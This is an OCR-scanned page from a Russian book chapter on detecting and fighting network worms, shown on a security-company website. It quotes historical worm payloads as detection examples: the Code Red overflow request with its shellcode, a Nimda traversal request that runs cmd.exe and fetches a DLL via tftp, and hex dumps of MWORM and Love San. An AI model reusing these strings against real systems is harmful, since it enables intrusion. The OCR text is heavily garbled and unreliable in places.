8(495)909-90-01
8(964)644-46-00
pro@sio.su
Главная
Системы видеонаблюдения
Охранная сигнализация
Пожарная сигнализация
Система пожаротушения
Система контроля удаленного доступа
Оповещение и эвакуация
Контроль периметра
Система домофонии
Парковочные системы
Проектирование слаботочных сетей
Аварийный
контроль
Раздел: Документация

0 ... 31 32 33 34 35 36 37 ... 102

•машинные команды CALL ESP, JMP ESP, INT 80h и другие подобные им (щ ный список занимает слишком много места и поэтому здесь не приводится)

•бессмысленные последовательности вроде . \. \. \ или XXX, используемые од. русом для переполнения.

Однако не пытайтесь напрямую дисассемблировать двоичный код, содержащий, ся в пакете, выглядящем как пакет, предназначенный для срыва стека и подрц. ва авторитета системы. Поскольку заранее неизвестно, на какой именно 6af" shell-кода передается управление, точку входа определить не так-то про и вовсе не факт, что ею окажется первый байт пакета или двоичного кода. I возлагайте на авторизированный поиск больших надежд — он срабатывал леко не всегда. Достаточно слегка зашифровать shell-код, и все признаки чс немедленно исчезнут. Впрочем, поскольку размер переполняемого буфера частую очень и очень мал, втиснуть в отведенный объем головы вируса i и шифровщик не так-то просто.

Во всяком случае, тройка крупнейших червей легко обнаруживается автомат; зированным анализом: и Code Red, и Nimda, и Slammer... (листинги 3.4,3.5).

Листинг 3.4. Голова червя Code Red, приходящая в первом ТСР-пакете

GET /default, ida? ХХХХХХХХХХХХХХХХХХХХХХХХХХХХ

хххххххххххххххххххххххххххх

ХХХХХХХХХХХХХХХХХХХХХХХХХХХХ ХХХХХХХХХХХХХХХХХХХХХХХХХХХХ ХХХХХХХХХХХХХХХХХХХХХХХХХХХХ ХХХХХХХХХХХХХХХХХХХХХХХХХХХХ ХХХХХХХХХХХХХХХХХХХХХХХХХХХХ ХХХХХХХХХХХХХХХХХХХХХХХХХХХХ

*u9090Xu6858*ucbd3*u7801Xu9090Xu6858Xucbd3*u7801Xu9090*u6858Xucbd3*u7801«u9093*u9C90

*u8190*uOOc3*u0003*u8bOOXu53lM;u53f«u0078J;uOOOOXuOO- a HTTP 1.0 Content- type: text/ xm!. Content- length: 3379

Листинг 3.5. Голова червя Nimda

GET /scripts/. .%cW2f. ./winnt/system32/cmd.exe?/

c+tftp*20-i220XXX.XXX XXX.XXX220GET*20Admin.dll*20c:\Admin.dl1

Если червь содержит в себе незашифрованные текстовые строки (a MH0Tfi) червей устроены именно так!), то злобный характер его натуры распоз уже при беглом просмотре HEX-кода исследуемого файла (листинг З.о)-

Листинг 3.6. Фрагмент вируса MWORM

000D5FA0: 47 45 54 20 2F 73 63 72 69 70 74 73 2F 2Е2Е 25 GET /scripts/.-*

O0005FB0: 63 31 25 31 63 2Е 2Е 2F 77 69 6Е 6Е 74 2F73 79 сШс. ./winnt/sy

00005FCO: 73 74 65 6D 33 32 2F 63 6D 64 2Е 65 78 653F 2F stem32/cmd.exe?/

00005FDO: 63 2В 63 6F 70 79 25 32 30 63 ЗА 5С 77 696Е 6Е c+copy«20c:\winn

D0005FE0: 74 5С 73 79 73 74 65 6D 33 32 5С 63 6D 642Е 65 t\system32\cmd.e


Ill

00005FFO:

я 65 25 32 3° 63 3A 5C I Л° 11 6F 72 60 2E 65 78 xeS20c:\Mworm.ex 90 48 54 54 50 2F 31 2E 3C 0D OA OD OA 00 00 e HTTP/1.OdOdO

в последнюю оче-исполняемых про-

000021ЕС 000021FC 0000220С 0000221С 0000222С 0000223С 0000224С 0000225С 0000226С 0000227С

ю черви в целях уменьшения своих размеров и, не Неког ]> вки сжимаются тем или иным упаковщиком i

редь.*анализом их необходимо распаковать (листинг 3.7).

грамм,"

3 7. фрагмент вируса Love San после распаковки

77 69 6Е 64 6F77 73757064 61 74 65 2Е 63 6F windowsupdate.со

6D 00 25 73 OA 00 7374J6172 74 20 25 73 OA 00 m XsO start %s0

74 66 74 70 202D 6920J2573 20 47 45 54 20 25 Iftp - i Xs GET %

73 OA 00 25 642E 25642E25 64 2E 25 64 00 25 sO %d.%d.%d.%ti %

69 2E 25 69 2E25 692E2569 00 72 62 00 4D 00 i.Si.*i.*i rb M

64 00 2E 00 2573 0042494C 4C 59 CO 77 69 6E й . %s BILLY win

646F 77 73 2061 7574j6F20 75 70 64 61 74 65 dows auto update 00 53 4F 46 5457 4152455C 4D 69 63 72 6F /3 SOFTWARE\Micros 6F 66 74 5C 5769 6E64j6F77 73 5C A3 75 72 72 Oft\Windows\Curr

656E 74 56 6572 73696F6F 5C 52 75 6E 00 00 entVersiorAKun

Ишите в дампе подозрительные сообщения, команды различных прикладных протокочов (GET, НЕЮ п т. д.), имена системных библиотек, файлов-интерпретаторов, команды операционной системы, символы конвейера, доменные имена сайтов, обращение к которым вы не планировали и в чьих услугах, судя по всему, не нуждаетесь, IP-адреса, ветви реестра, ответственные за автоматический запуск программ и т. д.

При поиске головы червя используйте тот факт, что shell-код эксплоита, как правило, размешается в секции данных и содержит легко узнаваемый машинный код. В частности, команда CDh 80h (INT 80h), ответственная за прямой вызов системных функций операционных систем семейства LINUX, встречается практически во всех червях, обитающих на этой ОС.

Вообще говоря, проанализировав десяток различных червей, вы настолько проникнетесь концепциями их устройства, что без труда распознаете знакомые РУкцин и в других организмах. А заочно червей все равно не изучить.

ПОБОРОТЬ ЧЕРВЯ

—Как же тогда справиться с червями?

—Мне неизвестно оружие, кроме атомного, взрывчатой силы которого было бы достаточно для уничтожения червя целиком.

Френк Херберт. «Дюна»

ЗВавШИе i?BaHH° :5аш-ититься от червей нельзя. С другой стороны, черви, вы-К.ат 1е Э1,иДемии, все до единого появлялись уже после выхода за-кУя Компьютеры, не обновляемые в течение нескольких месяцев, а то


112Глава 3. Жизненный цикл

и лет! В отношении серверов, обсуживаемых лицами, претендующими щщ ние «администратора», это, бесспорно, справедливая расплата за небрежно и бездумность. Но с домашними компьютерами не все так просто. У среднесТа. тического пользователя ПК нет ни знаний, ни навыков, ни времени, ни денегц, регулярное выкачивание из сети сотен мегабайт всякого дерьма, гордо пменд-. ющего себя Service Раском и зачастую устанавливающегося только после ее рии магических заклинаний и танцев с бубном. Неквалифицированные пользо ватели в своей массе никогда не устанавливали обновления и никогда не буду; устанавливать!

Важно понять, что антивирусы вообще не могут справиться с червями. В принципе. Потому что, исцеляя машину, они не устраняют брешь в системе безопасности, и вирус приползает вновь и вновь. Не стоит возлагать особых надежд и на брандмаузеры. Да, они могут оперативно закрыть уязвимый нерт или отфильтровать сетевые пакеты с сигнатурой вируса внутри. При условии, что вирус атакует порт той службы, которая не очень-то и нужна, брандмаузер действительно работает безотказно (только если не может быть атакован сам). Хуже если червь распространяется через такой широко распространенный сервис как, например, WEB. Закрывать его нельзя и приходится прибегать к анализу TCP/IP-трафика на предмет наличия в нем следов того или иного червя, то есть идти по пути выявления вполне конкретных представителей киберне тической фауны.

Хотя отдельные фирмы и предлагают высокопроизводительные аппаратные сканеры (рис. 3.3), построенные на программируемых логических устройствах, сокращенно именуемых PLD — от Programmable Logic Devices (www.arl.wustl.edu/ ~lrjckwood/publiations/MAPLD 2003 elOJc)ckwcx)d p.pdf), — в целом ситуация остается довольно удручающей, причем ни один из представленных на рынке сканеров не способен распознавать полиморфных червей, так как для осуществления этой операции в реальном времени потребуются весьма нехилые аппаратам мощности, и стоимость получившегося агрегата рискует оказаться сопоставимой с убытками, наносимыми самими червями (а в том, что такие черви когда-нибудь да появятся, сомневаться не приходится). Впрочем, программные сканеры сокращают пропускную способность системы еще больше... Жестокая, но зато кардинальная мера — заблаговременно создать слепок операционной системы вместе со всеми установленными приложениями и в ответственных случаях автоматически восстанавливать один раз в сутки или, по крайней мере, один раз в месяц. В частности, в операционных системах семейств3 NT это можно сделать с помощью штатной программы backup и встроенное планировщика. Правда, если червь поражает пользовательские файлы (например, файлы документов, письма электронной почты, скачанные \\еЬ-страничК! и т. д.), это ничем не поможет. Теоретически факт искажения пользовательски* файлов могут выявить ревизоры и системы контроля версий, практически они с трудом отличают изменения, вызванные вирусом, от изменений, еде3" ных самим пользователем. Но не будем забывать о возможности подложнть



0 ... 31 32 33 34 35 36 37 ... 102